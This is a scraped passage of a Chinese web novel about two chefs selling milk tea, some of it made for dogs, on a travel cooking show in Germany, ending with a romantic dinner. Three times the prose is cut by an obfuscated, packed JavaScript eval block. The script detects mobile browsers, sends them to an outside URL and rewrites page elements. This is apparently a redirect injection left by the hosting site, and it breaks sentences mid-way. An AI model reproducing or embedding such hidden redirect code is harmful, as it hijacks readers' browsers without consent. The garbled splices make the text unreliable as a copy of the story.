“谢谢那位举报奶茶摊的非法移民，”伯纳德真情实感地说，“没有你我还没机会成为全网第一个喝到新品的人。” 他给芋泥留出意味明确的特写镜头收尾，给自己出境的下巴加上卡通特效，满意地发了出去。 也不知道老板有没有重新开摊，不过现在，就让他先来独享六杯茶吧！ 60. 甜牛奶炖花生 收到伯纳德的通知之后，蒋醉余一行人连忙打开直播。 先前有顾客在警方检验结果没出的时候到来，“暂时没开张”的消息已经传到了网上。 在这个照理说应该流量更好的星期六，他们的客人反而在变少。 前两天放学坐车路过的中学生和下班的打工人，都不再经过这条路。 今天为数不多开张的机会，不是来自收容所的预约客人，就是来僻静地方遛狗的居民。 “我怎么觉得任务又有可能完不成了……”齐新雨举着芋泥铲子，忧心忡忡。 今天“门”可罗雀的营业状况，连大洋彼岸的国内观众都看出来了，弹幕人均急急国王。蒋醉余却不紧不慢。 这周的餐车虽然改成了奶茶车，开火的功能却依然存在。他从餐车下层掏出小锅，开始现场煮牛奶。 “小齐。”他盛出一勺米白色液体，突然呼唤道。 齐新雨茫然回望，嘴里被精准地塞上一只勺子，连忙闭上嘴，只能用眼神表达自己的谴责。 蒋醉余自己抿了一口勺子上剩余的奶汤，米乳和蜂蜜的甜香在口腔中蔓延，仍问：“怎么样，甜吗？” 这个甜度对齐新雨来说有点清淡，蒋醉余点点头，彻底满意。这群欧洲人的口味实在是甜腻得令人发指。 “下次让我试菜也不要搞突然袭击嘛。”齐新雨说，试探着伸出舌尖舔舐唇角。 像他们这样喂食技术还比较生疏的“搭档”，难免手一抖把勺子里液体撒出去。他总觉得自己嘴角黏糊糊的，手指抹了半天也不得其法。 蒋醉余抽了湿纸巾，凑过来帮他擦掉。 他擦得好认真，指腹的温度透过无纺布沾到脸上，齐新雨伸手抓住他的手腕：“我自己来吧。” 蒋醉余已经收拾好纸巾，拇指蹭掉他脸上最后一点水气。 “小齐连这点机会都不给我吗？”他说。 齐新雨鼓起脸颊，舌头抵抵上牙膛，轻巧地扯开话题：“不是说明天再加这个小料吗？” 当然是为了庆祝他们不出意外地安全度过一劫啦。 蒋醉余用一双筷子架住锅盖，调低火力，任凭去皮花生在奶锅中浮浮沉沉。 他在炖一道十分常见的牛奶花生汤，却不是为了充作汤品，而是为了捞出其中的花生作为奶茶的配料。 这个主意刚提出来时得到了节目组的全员反对，大家脑子里都冒出来广为诟病的奶茶八宝粥。然而真正的成品完全颠覆了他们的认知。 花生还要炖好久，导演就开始喊着要预定一杯。 此时距离重新开播已经过了大半个小时，陆陆续续赶来的食客终于多了起来。 受“狗脚奶茶”的邪门出圈特点影响，这群人中带着宠物来的不在少数。 其中最引人注目的是一位牵马犬的壮汉，马犬皮毛柔顺光亮、神情高傲，身上却套了条白纱裙。 爱狗人士们很会溺爱小狗，对着XXL纱裙一边发出“a”的赞美语气，一边夸它真是个强壮又漂亮小宝贝。 视线上移，那一张张脸却都面无表情，严肃得仿佛在讨论什么并购案。 “我这周也算是开启一个新赛道了。”蒋醉余有点无奈地看着面前的队伍。 他们中绝大多数人身上几乎都有小狗装饰；更有甚者，捏着蒋醉余分辨不清的宗教信物念念有词。 显而易见，这些人根本不是为了食物本身来的。他们只是想来开个盲盒，看看自己能不能尝出狗脚味罢了。 客人怀抱着这样目的无可厚非。 但他们不是那群热衷于彼此分享感悟的学生，结果自然如蒋醉余所料。他们只在意自己喝到的“是不是”某种味道，而并不关注奶茶本身口味如何。 他等了好久，才终于有人评述几句。 “明明成分只有奶、茶叶、糖和芋泥，我怎么喝出了一股玉米浓汤或者燕麦粥的香味呢？” 顾客表情惊叹地分享，手机摄像头一顿不离地对着杯子：“而且这个芋泥奶茶也太漂亮了！” “您喜欢就好。”齐新雨笑得很腼腆。 摆摊卖奶茶有一个人干活足矣，齐新雨闲了两天，终于坐不住了。他抗争半天，今天可算领到一份装芋泥的工作。 他举着勺子，像画画一样把酸奶般质地的温热芋泥糊在杯壁上。勺背随意地一抹，芋泥一左一右拉出两只尖尖耳朵，就成了小狗的脸。 这位客人罕见地要了热奶茶，芋泥是热乎乎刚从保温电饭煲里盛出来的，相对流动性更强。 她轻轻摇晃几下，小狗的轮廓变得模糊起来，外层芋泥肉眼可见地融化在了奶茶里，为浅咖色饮品染上几分芋头的冷调。 “您能不能给我画一个这个。”下一位客人笑得更腼腆。 齐新雨结果他的手机，短视频动画自动开始播放。 一只猎犬细长的脸颊越变越长，像狭窄的钩子探到桶装薯片底部。 “Let me do it for you！”这个视频相当火爆，附近客人们都跟着魔性的背景音乐哼哼起来。 感觉有点精神污染。 齐新雨搓搓眉心，有求必应地开始动作。他把芋泥顺着杯壁转了好几圈，在底部用力抹上一点做出鼻子。 再仔细地从顶部芋泥里挖掉两只眼睛，就成了“去年相思泪仍未到腮边”的“车座子”小狗。 狗脸长得能绕塑料杯三匝。 客人笑得不能自已，也打开了话匣子。 他算是位短视频的中午用户。 “我中午看到一个视频，说摊上的奶茶被举报了，结果检测安全之后，负责的警察反而没忍住，一个人喝掉了全部的样品。 “我觉得这个反转特别有意思，所以过来尝尝。 “没想到不仅味道超出预期，还有这么可爱的定制图案。” “举报路边摊反而让受理警察成为拥趸”的吸睛事件，加上博主伯纳德喝奶茶时享受又炫耀的样子，连发布者本人都没想到，视频能有这么高的流量。 比大众们行动力更强的，是他好友列表里的大量警察系统同行。 等伯纳德下午结束值班，和同事们一起抵达小摊，在排队人群里看见不少熟悉脸孔。 “那个抱着奶茶和路人一起逗狗的，”他戳戳同事，“怎么像是我们那个不苟言笑的老大啊！” 同事顺着他指的方向看过去，整个人当即失去响应： “海蒂，那只马犬……它比你资格还老，退役之前是我们队里最勇猛凶悍的狗中大姐啊！” 凶猛的海蒂就算离开铁饭碗，依然将领头气质展现得淋漓尽致。 她带着一群大大小小的狗冲破另一群小狗组成的“障碍”，好像在玩毛茸茸版的警察过家家，伯纳德想。 他入队的时间比她退役更晚，不像大部分同事般感受到强大的精神冲击。 他目不转睛地盯着滚做一团的毛茸茸，不知不觉间就排到了队伍最前端。 小摊比早上多了一张显眼的字条： “各位顾客：真心夸奖摊上奶茶达到三十秒，即可返还20%购买价。” 伯纳德低头看看纸条，又抬头看看摊主，眼神两点一线逡巡，脑袋就像上课犯困一样上下摇曳。 他的微表情课学得很好，摊主这个表情是在紧张，摊主男友——看这个亲密的站位和无意识的贴贴，应该是情侣关系吧——则表现得顾虑重重。 心机之蛙一直摸你肚子！ 伯纳德懂了。 他就知道，作为著名的全世界唯一用“毒”来命名这类违禁品的国家，这群中国人怎么可能不为了被冤枉举报而伤怀！ 摊主一个《美食之王》的最强选手，用这样便宜的价格售出这么有特色的奶茶，结果却被污蔑。 他一定是心寒了，才会摆出这样的字条，希望从其他食客身上获得力量。 这根本不是什么字条，而是他的心灵求救的信号啊！ 作为一名信念感十足的预备警察，伯纳德觉得自己心中充满了力量。 他清清嗓子，尽量不露声色地点了一杯最喜欢的奶茶。 蒋醉余却并没有记录他的点单。 “警察先生，”他说，“我已经看过你发在洋抖的那个视频了。你喝了整整六杯茶。” 蒋醉余很认真：“为了你的睡眠质量，我不能再卖给你哪怕一口了。” 伯纳德保持着上身和手臂基本不动，僵硬地探出手拍了一下同事的大腿。准确来讲，这不仅是同事，还是他在警校的同学。 同学疑惑地递来一个眼神：有问题？ 伯纳德眼神望向字条，拼命暗示：你快夸他啊！ 同学不解其意，伯纳德清了清嗓子：“老板，我应该也算是你的顾客吧。” 蒋醉余颔首。 “虽然现在发表感想可能有一点晚了，但是我也想来试试真心夸奖你的奶茶。”伯纳德感动地说。 他点开手机计时器，整理一下衣领： “我从来没喝过这样有趣的奶茶。很幸运，我是能够品尝出其中独特动物香气的那一类人……” 他描述得很细致，从外观到气息、从味道到口感，手机屏幕上的数字一点一点翻过。 站在奶茶摊前发表演讲实在是个很罕见的事情。 渐渐地，摊主摇奶茶的手停下了，同行客人攀谈的声音休止了，连小狗的叫声都沉寂了。 摄像机孤寂地闪着光，记录伯纳德的个人演说。 伯纳德对此一无所知，他正紧紧盯着计时器。时间在旁人眼里飞快转动，在他眼里却满得令人心焦。 他之前可是拿了足足六杯奶茶，要怎么才能撑满三分钟呢。 他有点卡壳，蒋醉余连忙插话：“很抱歉打断但是……谢谢您，警察先生，我好像没什么能拿来回报你的。” “没关系，我知道我没有买奶茶，”伯纳德摆摆手，“我也不是为了八折返现来的。” 他深情地撑住餐车：“我明白你字条的言外之意！我只是想夸夸你而已，你决定摆摊卖奶茶真是一项伟大的事业。” 蒋醉余后退一步，把齐新雨整个人环进臂弯。 齐新雨只比他矮一点，蒋醉余摸索着在他手里塞上刚做好的奶茶，语速缓慢地强调： “先让我男朋友把您同事买的奶茶交给他们吧。” “喔，”伯纳德完全没听懂，快乐地让开，“你们很配。” 自认为又拯救了一位迷茫心灵的伯纳德哼着歌走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775137|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 临走之前，又凑到摊前小声说：“先生们，告诉你们一个好消息，举报你们的人被发现靠人口贩卖牟利才抵达德国，有可能要被起诉了。” 那位华人圈子里臭名昭著的非法移民者，终于要被自己心中的圣地鄙夷了。 道德和和平是普罗大众的共同追求，怎么会换个地方就不被唾弃。 蒋醉余笑了笑，齐新雨对碰手里两杯奶茶，用气音说：“Cheers！” 人群仍沉浸在对伯纳德的震撼中，周围安静得只有虫鸣鸟叫，齐新雨看看奶茶，问后面的警察：“新款小料做好了，要加一点吗？” 炖花生的奶香味早就在周围耀武扬威，伯纳德的同学闻言，连忙要求尝试。 方才漫长的三分钟里，他后知后觉地搞明白了伯纳德先前拍自己的用意，当场把吸管插进奶茶，作势吸了一口。 都说这个奶茶可能被不同人尝出不同的味道，万一他觉得完全不好喝，不就夸不出来了。 他看上去很矜持地抿了抿，从第一个字开始绞尽脑汁： “这杯奶茶丝滑、甜蜜、带有植物的清香，一喝下去就给我带来无穷的快乐，说到快乐，我想起来一个笑话，呃，我是说，这种快乐就像我之前听到笑话的心情……” 蒋醉余有点想捂脸。 面前这位警官实在是像极了他参加普通话考试的样子。 伯纳德的同学不知道他在想什么，语调逐渐流畅起来： “那个笑话说，清洁工问银行行长要保险柜的钥匙，因为他觉得每次打扫都要用帽针打开保险箱，很麻烦。 “对我来说，摊上的奶茶就是这么让我愉悦！” 清洁工误解了自己的工作范围，还自曝会敲开保险箱的锁；银行行长聘请了一位会开锁的清洁工，引贼入室；而被轻易打开的银行保险箱，以诙谐的方式，展现了社会机构的不可信任。 三关笑话，令人忍俊不禁。 德国人哄堂大笑，队伍内外充满了快活的空气。 蒋醉余眨眨眼，盯着翻译器试图找出一丝笑点。 怀中的躯体微微震动，齐新雨正边笑边用力鼓掌。 “能不能让我也笑一下。”蒋醉余凑到他耳边，诚恳求救。 齐新雨很茫然地仰头看他，鼻梁一瞬间撞到下巴上。很痛，他噙着一包生理泪水，表情皱巴巴地问：“不好笑吗？” 好笑吗？ 蒋醉余把钱退给警察。 对方忽然想到什么，连钱也不收了，举起手里的杯子，兴高采烈地问：“对了，这个塑料杯我们喝完是能带走的吧？” 警察得到肯定的回答，露出更加真心的笑容。 “老板，你真是个好人，”他说，“有机会我还来支持你。” 为了表示感激之情，他已经彻底忘了自己为什么没喝奶茶，捧起杯子猛吸一口。 在时间的拷打下，花生的两半早就分开，正好能丝滑通过粗口径吸管，不必向黑糖珍珠一样粘在管道里。 花生在水里泡了一夜，又有几个小时的炖煮过去，此时彻底变得绵软，舌尖轻轻一碾就会碎烂。 米乳无孔不入地侵占其中，炖花生没有其它坚果的生油或烘烤味，留下的只是甘醇的熨帖。 “天啊，”警察喃喃出声，“我刚才的夸赞太苍白了。” “您是一位真正的爱狗人士啊，摊主先生！如果您不是一位细心而善良的犬只主人，怎么可能想到这样完美的小料。” 他用吸管在塑料杯里圈住一颗花生，细细观察。 “如果说没有花生的奶茶让人想起在花园撒欢的小狗，那么这个花生小料，无论从形状、大小还是味道上，都带我回到了它们还是幼崽的年纪。 “我家狗狗小时候吃的羊奶泡狗粮，一定就是这样的感觉和味道吧。 “我从来没想过同理心和创新力能同时体现在一道食物上。谢谢你，让我离我家小狗的世界又近了一步！”警察激昂澎湃地说。 该不该说，原来德国的养狗人也能这么活泼。 蒋醉余有点手足无措。 “我确实没养狗，”他看了眼齐新雨，齐新雨还在吭哧吭哧地偷笑，“非要说的话，倒是捡到了一只成年的小猫。” 成年！但是小猫！ 导演和编导握住对方的手，小声尖叫。 蒋醉余被她们吸引到注意力，顺势问道：“他分了两遍夸我，能不能算两份？” “不可以哦，”导演冷酷地恢复工作状态，“包括之前那位警察的三分钟演说，也都只能算一条夸奖。任重而道远啊蒋老师。” 蒋老师不想说话。 蒋老师想变成姜老师藏进你们的土豆丝里。 他收拾收拾心情，准备迎接下一位不知道有什么奇思妙想的客人，安静许久的汪汪队却突然吵闹起来。 以海蒂的一声呼号为始，素昧平生的大狗小狗们像战友一样，并排冲向了小摊。 有些狗因为牵引绳的长度限制被迫停下，后面的宠物就迅速补位。 它们原本li摊位就不远，在有秩序的排兵布阵下，片刻间已抵达奶茶车侧面，端正坐好。 海蒂坐在最前面，吸吸鼻子，尾巴摇得几乎有残影，又汪了一声。 61. 奶茶去奶去茶 齐新雨看着一群大狗小狗歪头瞧自己的场面，小狗的眼睛黑白分明，偶尔露出一点眼白就愈发显得无辜。他捧住脸向前走了两步，蒋醉余小心翼翼地跟过去。 虽然都是有主人陪着的，但是难免小狗一兴奋失了分寸。 何况一位退役警犬女士在你面前蹲坐，可不一定有什么好意头。 他们的警察客人举着奶茶，有点疑惑地俯下身：“有什么问题吗？海蒂。” 海蒂不理他，伸长脖子去闻他手里的奶茶。 警察的手往回缩了一点：“下午才检测完，不能有问题吧……我才刚喝一口呢。” 她就要抓住那股甜甜的味道了……后排传来零星的犬吠，海蒂两只前爪往前挪了挪，把自己探得更长。 警察一边小心翼翼端稳奶茶，一边不住地问：“海蒂，你怎么了，总不能是好久没见到我们队员太兴奋了吧。” 眼看着举着奶茶的手臂离自己越来越远，她脱离了蹲坐的姿势，一只爪子搭在警察的肩膀上，另一只爪子锲而不舍地向奶茶杯摸去。 警察没了办法，把杯子放到她面前。把海蒂领养走的上司到底在家给她教了点什么啊，以前多么听话、多么令行禁止的小狗！ 海蒂得到了奶茶，满意地闻闻，却并没有下一步动作。她身后的狗群里走出两只兴奋的边牧。 它们分工明确，一个叼着吸管，一个轻轻咬住杯身。抽走塑料吸管不说，还在反复尝试之后把塑封啃出大得多的口子。 边牧伸出舌头，满意地丈量豁口。 “等一下啊！”围观众人终于搞明白了它们的目的，连忙冲上来抱住各自的宠物。 危险角色海蒂和两只出谋划策的边牧被当场擒获，口中还在呜呜嘤嘤地反驳。费了这么大劲，结果一点奶茶味都没尝到，小狗是要闹的。 海蒂的主人把她交给另外几位警察，有些为难地凑到餐车前：“她退役以后难得有这么重的好奇心……” 齐新雨了然接话，也失落起来：“但小狗是不能摄入咖啡因和乳糖的。” 要一份奶茶，去奶去茶，这种话怎么听都像是在刻意找茬。 蒋醉余善解人意：“没关系，还有另一种奶茶很适合它们的口味。” 警察惊喜地看过来。 “明天吧，”蒋醉余看看奶茶桶，“今天准备收摊了。” 餐车上剩下的材料是答应留给节目组的，导演美滋滋看着属于自己的那一杯，和食客们道别。 临走之前还不忘打个广告：“我们的《摆摊日记》第二期法国篇应该已经上线了哦，保证下饭。” 食客们满怀期待地离开了。 蒋醉余按住奶茶，笑眯眯道：“作为美食综艺的导演、编导、摄影师，各位一定很懂品鉴吧。” 明天的营业重心肯定会是小狗，他得在今天抓紧完成节目组的附加任务。 经历了德式笑话的洗礼，已经没有什么能为难蒋醉余了。他面不改色地用奶茶威胁：“我觉得你们之前喝过的样品奶茶，味道也挺值得一份符合计数要求的赞美的。” 三十秒夸奖换一杯顶配的花生芋泥奶茶，怎么想都不算过分。 “哇，”齐新雨点头鼓掌，像个捧哏，“好划算。” 导演屈服了。 但伯纳德拥有不屈的灵魂。 第二天蒋醉余看见他的时候，几乎有点认不出来。 “别提了，”伯纳德牵着好几只狗，“今天它们也休息，我昨天就打好报告要带它们出来玩。” 那一人尊享的六杯奶茶终于在夜色四合时给予他致命一击。 伯纳德躺在床上，翻来覆去，换了三床被子和七次枕头方位，但大脑清醒地随时能去给刑侦大队帮忙。 他终于明白了为什么摊主拒绝卖给他第七杯奶茶，但一切为时已晚。他的助眠药效果很猛，副作用也很猛。 整个晚上伯纳德都困在被剥夺五感的梦境中，被闹铃吵醒时甚至产生了一丝劫后余生的喜悦。 这一觉睡了还不如没睡！对自己无知行为的忏悔在他被强壮活泼的放假警犬们牵着跑的时候达到了巅峰。 警犬似乎比昨天的海蒂还要兴奋，隔着半条街就目标明确地冲向奶茶摊。他们来的不是最早的，摊位旁边已经围了不少人。 有昨天的食客，也有听到消息专门带小狗来的。 蒋醉余今天如约推出新品。 乳糖不耐的问题对他来说很好解决，毕竟这一群体在人类食客中也不罕见。 无咖啡因的茶选择同样不少，比如各类花草茶，或者餐车上正安静散发烘焙香气的大麦茶。 “不过怎么有股咸味？”伯纳德吸吸鼻子。 旁边的食客说：“摊主说这是另一种奶茶，在中国的西北地区比较常见，就是咸的，配的小料也完全不一样。” 甚至今天连卖法都不一样，下了单并不能立刻拿到。如果不是小狗们寸步不离地守着奶茶，他们本应该拿着自己的小票在一边等待。 新品没有温度可选，摊上又支起了锅，热腾腾地煮着奶茶。 和常用于做奶茶的红茶青茶之类烘焙茶比起来，大麦茶味道清淡，哪怕翻炒也没能让它有多么浓郁的味道，甜味是吝啬的，苦意也是收敛的。 对蒋醉余来说，他选用大麦茶最重要的原因就是，它具有和糯香奶茶同源却各具特色的米香，又和原本蒙古奶茶所用的青砖茶，一样带着最质朴的味道。 但为了让它不要在奶制品和咸味的冲击下黯然失色，今天用到的茶底都泡了很久。 在煮热的茶底中加上一点雪白凝固的动物油，融化后再慢慢将无乳糖奶倒入其中，带来比甜味奶茶更浓郁的奶香。 如果是蒙古族的常规做法，还应该加上一点盐，但小狗也不能吃。 在这个过程中，勺子不断在锅中舀起茶汤，“扬汤止沸”的重复动作让奶与茶更好地结合在一起。 伯纳德来得晚了，没赶上第一波煮茶，现在所有人和非人都在望眼欲穿地等着奶茶晾凉。 “这是可以添加的三种小料。”蒋醉余揭开盖子。 按照内蒙的饮食习惯，炒米自然不会被忘记。 圆滚滚的谷粒被被反复烘炒，只等着一瓢热奶茶浇上来，让它所有的干脆都溶解在丝滑的液体里。 另外两种则有点超乎食客们意料。 罐子一打开，全场大大小小的狗都疯了。 慌乱的人群中，唯有收容所老板马特奥忙不迭招呼着自己的员工：“快快快，赶紧把这个场面录下来，这就是我们家宠物零食最好的广告啊！” 在一片此起彼伏的“停”“坐下”等指令声后，餐车周围重新恢复了平静。只是谁也没法忽视地上小狗们期待的眼神和摇得飞快的尾巴。 “您的手艺可比我们想象中好。”蒋醉余哭笑不得。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775138|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 作为“人类厨师”，他从来没考虑过动物食客们有这样直白且张扬的反馈。如果不算小时候帮农户养鸡鸭鹅，蒋醉余唯一一次喂宠物就是齐新雨捡到的那只孱弱的小猫。 “收容所基本都是入不敷出的，我能撑这么久靠的全都是这份手艺。”马特奥满意地说。 为了支撑院子里被绑架来的大大小小流浪狗的日常和意外开销，马特奥的收容所还售卖宠物零食，几乎隔几天就要补货。 幸运的是，马特奥的宠物零食正好能满足蒋醉余制作蒙古族奶茶的需求。 蒋醉余选了他的两款当家产品，小块的牛肉干和芝士球。 这都是比较硬、但不至于过分结实的口感，有些主人拿它们当磨牙棒，泡在奶茶里刚好能变得容易入口一点。 食客们选好想要的小料后，把滚烫的奶茶浇到他们自带的小狗饭碗里，等待树荫下勉强算凉爽的微风带走热度。 第一锅的顾客各自领走降温的奶茶，伯纳德很高兴地看到自己面前的队伍短了一大截。 有急性子的小狗和主人，远离摊位没几步就喝了起来，舌头卷过奶茶的水声和咀嚼小料的声音在伯纳德耳边交替响起。 他看着蒋醉余面前一排热气腾腾的汤碗，脱口而出：“这个奶茶能不能买给自己啊？” 正在给另一条队伍摇狗脚奶茶的齐新雨停下动作，震惊地看着他。 “非要说的话……可以吧。除了牛肉干和奶酪球是宠物零食，其它都是正常的食材。” 蒋醉余已经习惯了食客们一会一个主意：“自己喝的话，要加点盐才会相对正宗一点。” 马特奥立刻拿来了盐罐子。 伯纳德当即高兴起来：“那给它们一狗一份，我也要一杯——我那杯是不是不用晾，可以直接拿走喝啊。” 马特奥跟着接茬：“我也要！” 他们很积极地自助交钱取餐，谨慎地洒上一点点盐，奶茶一入口，就发出满足的喟叹。这是和常见的甜味奶茶截然不同的味道。 浓郁、厚重，不加盐时是原材料最纯正的香气，加上盐才凸显出它与众不同的独特风味。 消息传开，队伍又热闹起来。 “人奶茶和前两天的款一个价格吗老板？” “诶诶别挤！谁家狗来我这蹭奶茶了！” 蒋醉余越过人群，和摄像机旁边的导演隔空对视。 “人和宠物都是我的食客，你们当然可以买，”蒋醉余说，“我们节目对食客都是一视同仁的。” 齐新雨眼睛一亮：“那对我们的小动物食客来说，摇尾巴三十秒怎么不算真心夸奖呢？” 导演眼前一黑。 好消息：他们成功禁止了齐新雨帮蒋醉余讨要赞美。 坏消息：他们没能阻止齐新雨陪蒋醉余坑害节目组。 在场的小狗没有几十也有十几，尾巴个个摇得像风扇，如果全算上，那么蒋醉余可以直接完成任务了。 可从来没有谁说过，小狗食客不能表达自己的喜悦和幸福。 被一双满怀期待的薄荷绿眼睛盯着，导演怎么也说不出反对的话来，只能撕心裂肺地控诉：“他一个谐音梗都玩不明白的混血！他那么小那么乖，能懂什么文字游戏啊！谁教坏的他我能不知道吗！” 蒋醉余摊手：“来杯奶茶吗？” “来，咸奶茶，最大杯。” 导演说。 62. 德式脆皮猪肘 在德国的最后一天营业结束，蒋醉余长出一口气。 他摸摸手机，熄灭的锁屏之下藏着已经看了好多天的餐厅信息。 那是来自夏洛特主厨的推荐，一家氛围很好的特国特色小酒馆，夏洛特说老板是她的朋友，建议他们一定要去吃一次。 只是前些天他们刚到德国，就忙着寻找糯米茶，开始摆摊后又被收集好评的任务绊住，收摊比原本预想中晚得多。 齐新雨天天比当事人还着急，恨不得挑战用芋泥画人像，哪怕有一两个人来夸奖“摆盘”他觉得自己好歹做了点什么…… 蒋醉余抬起头。 他能找到一堆理由，但归根结底不过一句话：他磨蹭了快一周也没能邀请自己的新晋男友去共进晚餐。 社交媒体的点赞和收藏列表已经被各种探店和记录视频雄踞，他对酒馆的菜单比梦里开过的那家私房菜还熟悉。 蒋醉余甚至怀疑自己看多了这家特色菜的制作过程，已经能在家复刻出来了。 而齐新雨对此一无所知。 他还快乐地摸着小狗，余光看见蒋醉余向自己走来，便如惊喜盒子里的机关一般弹起来站直。 “小齐，”蒋醉余几乎有点要笑出来了，“别紧张，我不是你的老师或者教官。 “只是个一周都没能和男朋友单独吃顿饭的可怜人。” 他含笑看着齐新雨，语气镇定，听起来一点都不可怜。齐新雨脱口而出：“对不起。” 德国司机的驾驶习惯自成一体，他们很快就赶到了酒馆。说是小酒馆，但因为食物和环境实在美妙，在这样的周末饭点人头攒动。 蒋醉余报了订位电话，侍者领着他们坐下。餐厅是偏向复古的风格，灯光昏暗，桌上还配了一只聊胜于无的蜡烛，烛台做成煤灯形状。 齐新雨很捧场：“哇，这算烛光晚餐吗？” “当然算，”蒋醉余说，“感谢小齐老师应邀，你来点餐吧。” 他把点餐的重任交给齐新雨，服务生退去，桌旁只剩两个人。 齐新雨说：“马上离开德国是不是要去意大利了，到时候应该洛伦佐也在吧，他性格还挺有意思的……” “宝宝。”蒋醉余喊他。 从离开法国之后他就没这么叫过了，齐新雨心跳一顿，还好餐厅光线不佳。 但也可能是环境过于黑暗，他又在蒋醉余身上看出一点熟悉的感觉来。像齐新雨刚在男团里见到他的样子，流露出一点危险性。 “从来德国的第一天我就在反复订座。这里没有别人，你确定要继续讨论这些吗？” 齐新雨又想道歉了。 但蒋醉余似乎不喜欢，他知道自己刚刚说对不起的时候对方在皱眉。 可能还是最近睡眠不足，所以显得精力不是很旺盛，他晕晕乎乎地想。 可是他要说什么呢？ 在英国的时候每天从学校或者画展回来，他觉得自己有好多话讲，连路边有只寻常的鸽子都津津乐道。甚至在西班牙的时候……好像也是这样。 胡安和加布里埃尔都说他性格真好，直到现在他们仍然有联系，加布里埃尔半小时前还在短视频软件大呼小叫地喊他，说收容所那两个自称跟风吃过螺蛳粉的员工终于认出你和醉余了。 齐新雨回望他，以前隔着舞台仰望、只出现在平面画纸上的人，如今正坐在他面前，是他的男朋友。 一周过去，他觉得自己好像依然不能镇定地接受这件事。 好大一个肘子被端上来，放在他面前，外皮烤得金黄坚硬，餐刀刮出酥脆的响声。 齐新雨举起刀，盯着它看了半晌无从下手。蒋醉余绕过煤油灯烛台，把盘子拖到自己那边去。 他的手很稳，除了脆皮破裂的咔喳声和切断猪肉的轨迹，再没有任何声响。哪怕吊灯昏黄，刀刃也不会撞上骨头或盘子。 酒馆轻柔的小语种音乐里，只剩下邻桌陌生语言影影绰绰的交谈声。 白噪音勾勒出一片静谧氛围，齐新雨听到他一本正经地说：“我是来跟你道歉的。 “我好像太让你没有安全感了。我喜欢你，是指你最本来的样子，和你是不是综艺观众眼里的完美嘉宾或完美恋人都无关。” “我有时候怀疑是不是我记忆出了问题，我其实根本没有说过什么‘我想正大光明爱你’之类的话。我还是一个租客，只不过聘请了我的房东来陪我营业。 “要不然，他一个会在学生之间开怀大笑、在导师和管家口中有点狡黠的人，怎么在我面前这么拘谨呢。” 他手上动作不停，把肘子切成薄厚均匀、刚好能一口吃下的片状，汁水和油脂在挤压中外溢，张扬地炫耀着自己浓郁的香味。 这话说得凌厉，却实在有点贴切。齐新雨抱着鳐鱼玩偶一个人睡了好几天，白日里又经常被分走注意力，双人相处的机会比以前甚至更少。 他无从应答，只能在“张嘴”的指令下被叉子喂过来一片脆壳猪皮瘦肉一应俱全的肘子。 这可太光明正大了。 如果他汉语再好一点，也许该管这个行为叫明目张胆，但齐新雨的大脑暂时没法支持他进行这么复杂的活动，他只觉得自己似乎和斜对面那桌对视上了。 “谢谢蒋先生，我自己来吧……”他慌得手足无措。 蒋醉余又叹气：“你看，我不仅没法和我的男朋友牵手、亲吻、同居，甚至连投喂的资格都没有了。” 服务生把素菜也送过来，烤时蔬里选的每一样都是蒋醉余爱吃的。齐新雨很了解他的口味，这不妨碍他在点餐的时候执着地征求意见。 “我甚至有点自私地觉得，是不是我当初不表白，我们就能继续平常地相处。” 齐新雨好不容易在他面前摘下来的包袱，随着一瞬间关系的转变，又被背了回去。 他们拘束、谨慎，相敬如宾。 仿佛暧昧期还没长到足以踏平隔阂，就已经被野心勃勃地圈养起来。 蒋醉余微微探身，指尖碰到他的脸：“怎么办啊宝宝，我真的好不想听到你对我说谢谢和对不起。 “我好不容易追到手的小神仙，他万众瞩目、能和任何人在五分钟内处成朋友，但是在我面前患得患失、压抑自己。 “小齐，宝宝，你能不能告诉我，我要怎么办啊。” 齐新雨嚼着嚼着就不自觉停下动作，呆呆看着他。有水顺着唇角流进嘴里，肘子变得更咸了。 音响里的歌曲不知道什么时候走到尾声，下一首是中文歌，听着很耳熟。 歌手唱着“要他光鲜却不渝爱你”，和歌手同样的声线在他耳边低叹：“小雨，别哭，是我错了。” 蒋醉余说着，又有点不合时宜地想笑：“除了你，谁还拿我当不食人间烟火的缪斯啊。” 话一出口，齐新雨哭得更厉害了。 他几乎记不住自己两人是怎么离开的酒馆。明明他们什么酒都没点，在服务生再三追问下依然只要了两杯薄荷柠檬水。 他们站在酒馆附近的路灯下，蒋醉余说着“不要紧张”给他渡气，飞蛾从他眼前掠过，扑向清冷的白光灯珠。 他伸出爪子试探着碰瓷了自己的缪斯，被从善如流地绑架回家，才发现自己根本还没学会怎么做一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“意大利的拍摄计划先按照只有我一个人准备吧。” 蒋醉余盯着手机信息页面，露出一点笑意开始给齐新雨拨电话。 齐新雨没接，直到飞机在意大利的托斯卡纳落了地，才匆匆回复：“蒋先生等我晚上回家再给你讲，今天真是回来对啦！想你！” 你看，隔着网线，他又变得很活泼。 